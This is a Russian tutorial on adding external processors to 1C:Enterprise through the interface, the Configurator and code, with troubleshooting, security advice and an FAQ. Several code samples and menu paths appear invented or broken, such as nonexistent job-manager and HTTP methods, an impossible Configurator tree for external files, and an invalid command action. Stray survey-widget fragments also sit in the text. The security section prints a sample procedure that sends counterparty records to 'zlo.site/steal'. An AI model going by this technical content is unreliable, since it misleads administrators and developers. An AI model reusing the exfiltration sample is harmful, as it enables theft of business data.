Работа с внешними обработками в 1С:Предприятие — неотъемлемая часть кастомизации системы под нужды бизнеса. Эти файлы с расширением .epf или .erf позволяют расширять функционал типовой конфигурации без изменения её исходного кода, что критично для поддержки обновлений. Однако многие пользователи сталкиваются с трудностями при их подключении: система не видит файл, возникают ошибки прав доступа или обработка просто не отображается в списке.

В этой статье мы разберём три основных способа добавления внешних обработок (через интерфейс пользователя, программно и через конфигуратор), рассмотрим типичные ошибки и их решения, а также дадим рекомендации по безопасности. Особое внимание уделим нюансам работы в последних версиях платформы 1С:Предприятие 8.3.22+, где механизм подключения претерпел изменения.

Если вы администратор, разработчик или продвинутый пользователь — здесь найдёте чек-листы для быстрой настройки. Новичку пригодятся пошаговые скриншоты (описания интерфейса) и разъяснения терминов. Начнём с самого простого метода — ручного добавления через меню программы.

1. Добавление внешней обработки через интерфейс 1С

Самый доступный способ — подключить обработку непосредственно из пользовательского режима 1С:Предприятие. Этот метод не требует прав конфигуратора и подходит для большинства типовых задач (например, загрузки прайс-листов или печатных форм).

Алгоритм действий:

  • 📁 Откройте 1С:Предприятие в режиме пользователя (не конфигуратора!).
  • 🔍 Перейдите в меню Файл → Открыть... (или нажмите Ctrl+O).
  • 📄 В диалоговом окне выберите файл обработки (.epf или .erf) и нажмите «Открыть».
  • ⚙️ Если обработка требует дополнительных параметров, заполните их в открывшемся окне.

После успешного подключения обработка появится в списке внешних обработок (Сервис → Внешние обработки). Однако здесь есть подводные камни:

Файл обработки не повреждён (открывается в конфигураторе)

Версия платформы 1С совпадает с версией, для которой написана обработка

У пользователя есть права на подключение внешних файлов

Обработка не требует дополнительных библиотек (например, OneScript)

-->

Важно: В версиях 8.3.20+ появилось ограничение на подключение обработок из недоверенных источников. Если файл не подписан сертификатом, система выдаст предупреждение. Чтобы его обойти, нужно:

  1. Перейти в Сервис → Настройки → Безопасность.
  2. Добавить путь к папке с обработками в список доверенных расположений.
  3. Либо подписать обработку сертификатом (для корпоративного использования).

Раз в неделю

Раз в месяц

Реже

Никогда не пробовал-->

2. Подключение обработки через конфигуратор

Если обработка должна быть доступна всем пользователям базы или требует интеграции с конфигурацией (например, вызов из меню), её необходимо добавить через Конфигуратор. Этот метод даёт больше контроля, но требует прав администратора.

Пошаговая инструкция:

  1. Запустите 1С:Предприятие в режиме Конфигуратор (выберите базу и удерживайте Shift при запуске).
  2. Откройте дерево конфигурации: Объекты → Общие → Внешние обработки.
  3. Нажмите «Добавить» (или Insert) и укажите путь к файлу .epf/.erf.
  4. Задайте имя обработки в конфигурации (может отличаться от имени файла).
  5. Сохраните конфигурацию (F7) и обновите базу (Конфигурация → Обновить конфигурацию базы данных).

После обновления обработка станет доступна:

  • 📋 В списке Сервис → Внешние обработки (если добавлена как общий объект).
  • 🔗 Через прямую ссылку в коде (например, ВнешниеОбработки.ИмяОбработки.Создать).
Что делать если обработка не появляется в списке?

1. Проверьте, что файл физически находится по указанному пути (иногда путь в конфигураторе указывается относительно, а система ищет абсолютный).

2. Убедитесь, что обработка совместима с версией платформы (откройте её в конфигураторе отдельно — если выдаёт ошибки, требуется доработка).

3. Обновите кэш 1С: закройте все сеансы, удалите файлы из папки %APPDATA%\1C\1Cv8\ (или ~1CV8 для Linux), перезапустите базу.

Критическая особенность: Если обработка добавлена через конфигуратор, но не видна пользователям, проверьте права ролей. В разделе Администрирование → Пользователи и права должна быть разрешена работа с внешними обработками для соответствующих ролей (например, Полные права или кастомная роль).

💡

Чтобы ускорить тестирование, добавьте обработку в тестовую базу сначала. Для этого скопируйте продуктивную базу через Конфигуратор → Администрирование → Выгрузить информационную базу и работайте с копией.

3. Программное подключение обработки (для разработчиков)

Для автоматизации или динамического подключения обработок (например, при старте системы) используется встроенный язык . Этот метод полезен, если обработка должна подгружаться по условию (например, только для определённых пользователей или в определённое время).

Базовый код для подключения:

Процедура ПодключитьВнешнююОбработку

ПутьКФайлу ="C:\Обработки\МояОбработка.epf"; // Укажите актуальный путь

Попытка

ВнешняяОбработка = ВнешниеОбработки.Создать(ПутьКФайлу);

ВнешняяОбработка.Открыть;

Исключение

Сообщить("Ошибка подключения:" + ОписаниеОшибки, СтатусСообщения.Важное);

КонецПопытки;

КонецПроцедуры

Где разместить этот код?

  • 📌 В глобальном модуле (для вызова из любого места системы).
  • 📌 В обработке события ПриНачалеРаботыСистемы (для автоматического подключения при старте).
  • 📌 В командном интерфейсе (если обработка должна открываться по кнопке).

В версиях 8.3.21+ при программном подключении обязательно указывайте полный путь к файлу. Относительные пути (например, ".\Обработки\file.epf") могут не работать из-за изменений в политике безопасности платформы.

Для динамического управления обработками (например, подгрузки по расписанию) используйте регламентные задания:

Процедура ЗапуститьОбработкуПоРасписанию

Расписание = РегламентныеЗадания.СоздатьМенеджерЗаданий;

Задание = Расписание.НайтиПоИмени("ПодключениеОбработки");

Если Задание = Неопределено Тогда

Задание = Расписание.СоздатьЗадание;

Задание.Имя ="ПодключениеОбработки";

Задание.Периодичность = ПериодичностьРегламентногоЗадания.Ежедневно;

Задание.ВремяНачала = НачалоДня(ТекущаяДата) + 3600; // Через час после полуночи

Задание.Использовать = Истина;

Задание.Модуль = ПолноеИмяМодуля("ОбщийМодуль.МойМодуль.ПодключитьВнешнююОбработку");

КонецЕсли;

КонецПроцедуры

4. Типичные ошибки и их решения

Даже опытные пользователи сталкиваются с проблемами при подключении внешних обработок. Рассмотрим самые распространённые ошибки и способы их устранения.

Ошибка Вероятная причина Решение
Ошибка при открытии файла Файл повреждён или несовместим с версией платформы Откройте файл в конфигураторе отдельно для проверки. При необходимости пересохраните в актуальной версии.
Недостаточно прав У пользователя нет прав на подключение внешних обработок Настройте роль в Администрирование → Пользователи и права.
Обработка не отображается в списке Файл не добавлен в конфигурацию или кэш не обновлён Проверьте путь в конфигураторе, очистите кэш (%APPDATA%\1C\1Cv8\).
Не найден метод <ИмяМетода> Обработка требует обновления или зависит от отсутствующих библиотек Свяжитесь с разработчиком обработки для уточнения зависимостей.

Особый случай: Если при подключении появляется сообщение "Обработка не подписана доверенным сертификатом", а добавить путь в доверенные расположения не помогает, выполните следующие шаги:

  1. Экспортируйте сертификат из обработки (если он есть) через Конфигуратор → Файл → Открыть → Выбрать файл обработки → Сертификаты.
  2. Импортируйте сертификат в хранилище сертификатов 1С: Сервис → Сертификаты.
  3. Перезапустите 1С и повторите подключение.
💡

Если обработка критична для работы (например, используется для выгрузки данных в ФНС), протестируйте её на тестовой базе перед развёртыванием на рабочем сервере. Это позволит избежать блокировки работы из-за ошибок.

5. Безопасность при работе с внешними обработками

Подключение сторонних обработок — потенциальная угроза безопасности данных. Злоумышленники могут внедрить в .epf-файлы вредоносный код, который украдёт данные или повредит базу. Следуйте этим правилам:

  • 🔒 Используйте только обработки из проверенных источников (официальные партнёры 1С, доверенные разработчики).
  • 📜 Перед подключением откройте файл в Конфигураторе и проверьте код на наличие подозрительных функций (например, Выполнить, ЗаписатьФайл без явной необходимости).
  • 🛡️ Настройте политики безопасности в 1С: ограничьте права на подключение обработок для обычных пользователей.
  • 🔄 Регулярно обновляйте обработки (как и саму платформу 1С) — в новых версиях часто закрываются уязвимости.

Пример опасного кода, который может содержаться в обработке:

// Вредоносный пример (не выполняйте!)

Процедура УкрастьДанные

ТекстЗапроса ="ВЫБРАТЬ * ИЗ Справочник.Контрагенты";

Результат = Новый Запрос(ТекстЗапроса);

Результат.Выполнить;

// Отправка данных на внешний сервер

HTTPСоединение = Новый HTTPСоединение("zlo.site/steal",,,,);

HTTPСоединение.ОтправитьДанные(Результат.Выгрузить);

КонецПроцедуры

Как защититься?

  1. Используйте песочницу (режим ограниченного выполнения) для недоверенных обработок. Включается в настройках безопасности 1С.
  2. Настройте логирование подключаемых обработок: ведите журнал, кто и когда их подключал.
  3. Для корпоративных решений применяйте электронную подпись обработок с проверкой сертификата.
💡

Создайте белый список разрешённых обработок в настройках 1С. Это позволит блокировать подключение любых других файлов, даже если они попадут в систему.

6. Примеры практического применения внешних обработок

Внешние обработки решают сотни задач — от автоматизации рутинных операций до интеграции с внешними системами. Рассмотрим несколько типичных сценариев.

1. Загрузка данных из Excel

Обработка позволяет импортировать данные из Excel-файлов в справочники 1С (например, номенклатуру или контрагентов). Пример кода для вызова:

Процедура ЗагрузитьИзExcel(ПутьКФайлу)

Обработка = ВнешниеОбработки.Создать("C:\Обработки\ExcelImport.epf");

Обработка.ПутьКФайлу = ПутьКФайлу;

Обработка.ВыполнитьЗагрузку;

КонецПроцедуры

2. Печатные формы документов

Если типовой отчёт не подходит, можно подключить кастомную печатную форму. Например, для счёта-фактуры:

Процедура ПечатьСчетаФактуры(Документ)

Обработка = ВнешниеОбработки.Создать("C:\Обработки\ПечатьСчета.epf");

Обработка.УстановитьДокумент(Документ);

Обработка.Сформировать;

КонецПроцедуры

3. Интеграция с API банков

Обработки часто используются для обмена платежными поручениями с банками (Сбербанк, Тинькофф, Альфа-Банк). Пример настройки:

  • 🏦 Подключите обработку от банка (обычно предоставляется в личном кабинете).
  • 🔑 Настройте параметры подключения (токен, URL API) в форме обработки.
  • 🔄 Запустите синхронизацию (Обработка.ВыполнитьОбмен).

4. Автоматическое формирование отчётности

Обработки для ФНС, ПФР или Росстат позволяют формировать отчёты в требуемом формате и отправлять их из 1С. Пример:

Процедура ОтправитьОтчетВФНС

Обработка = ВнешниеОбработки.Создать("C:\Обработки\ФНС_2026.epf");

Обработка.Период = ТекущаяДата;

Обработка.Отправить;

КонецПроцедуры

Как узнать, какая обработка подходит для вашей задачи?

1. Проверьте каталог решений на сайте 1С (раздел"Дополнения и обработки").

2. Обратитесь к партнёру 1С — он подберёт сертифицированное решение.

3. Для уникальных задач закажите разработку обработки у франчайзи 1С.

FAQ: Частые вопросы по внешним обработкам в 1С

Можно ли подключить обработку, написанную для 1С 8.2, в 8.3?

Теоретически да, но требуется доработка. В 8.3 изменились многие объекты метаданных и синтаксис. Откройте обработку в конфигураторе 8.3 — система покажет ошибки, которые нужно исправить. Типичные проблемы:

  • Устаревшие методы (например, НайтиПоНаименованию вместо ПолучитьСсылку).
  • Изменения в работе с формами (в 8.3 управляемые формы).
  • Новые правила безопасности (например, явное указание прав при работе с файлами).

Если обработка простая (например, печатная форма), её можно быстро адаптировать. Для сложных решений (интеграции, обмены данными) лучше искать аналоги для 8.3.

Как сделать, чтобы обработка открывалась по кнопке в документе?

Для этого нужно:

  1. Добавить обработку в конфигурацию через Конфигуратор (как описано в разделе 2).
  2. Открыть форму документа, в который нужно добавить кнопку (например, Документ.РеализацияТоваровУслуг.Форма.ФормаДокумента).
  3. Добавить команду на форму:
    Команда = Команды.Добавить("МояОбработка");
    

    Команда.Действие ="НаКлиентеНаСервереБезКонтекста МояОбработка_Выполнить";

  4. Создать процедуру-обработчик:
    Процедура МояОбработка_Выполнить(Команда)
    

    Обработка = ВнешниеОбработки.ИмяОбработки.Создать;

    Обработка.Выполнить(ЭтотОбъект);

    КонецПроцедуры

После обновления конфигурации кнопка появится в интерфейсе документа.

Почему обработка работает в тестовой базе, но не работает в рабочей?

Причины могут быть следующими:

  • Разные версии платформы: проверьте версию 1С в тестовой и рабочей базе (Справка → О программе).
  • Ограничения прав: в рабочей базе могут быть жёстче настройки безопасности.
  • Отсутствуют зависимости: обработка может требовать дополнительные библиотеки или модули, которые есть в тестовой базе, но отсутствуют в рабочей.
  • Блокировка антивирусом: некоторые антивирусы блокируют выполнение .epf-файлов. Добавьте папку с обработками в исключения.

Рекомендация: сравните настройки безопасности в обеих базах (Администрирование → Настройки программы → Безопасность) и проверьте журналы 1С на ошибки (Администрирование → Журналы регистрации).

Как удалить внешнюю обработку из конфигурации?

Чтобы удалить обработку, добавленную через конфигуратор:

  1. Откройте Конфигуратор и перейдите в Объекты → Общие → Внешние обработки.
  2. Выделите ненужную обработку и нажмите Delete (или кнопку «Удалить»).
  3. Сохраните конфигурацию (F7) и обновите базу данных.

Если обработка была подключена в пользовательском режиме, достаточно удалить её файл из папки и очистить кэш 1С.

⚠️ Внимание: Удаление обработки, используемой в регламентных заданиях или командах интерфейса, может привести к ошибкам. Перед удалением проверьте все ссылки на неё в конфигурации.
Можно ли ограничить доступ к обработке для отдельных пользователей?

Да, для этого:

  1. В Конфигураторе откройте свойства обработки (Объекты → Общие → Внешние обработки → [Имя обработки]).
  2. Перейдите на закладку Права.
  3. Настройте права для ролей: отметьте галочками, какие роли могут использовать обработку.
  4. Сохраните изменения и обновите базу.

Альтернативный способ: создайте новую роль с ограниченными правами и назначьте её выбранным пользователям.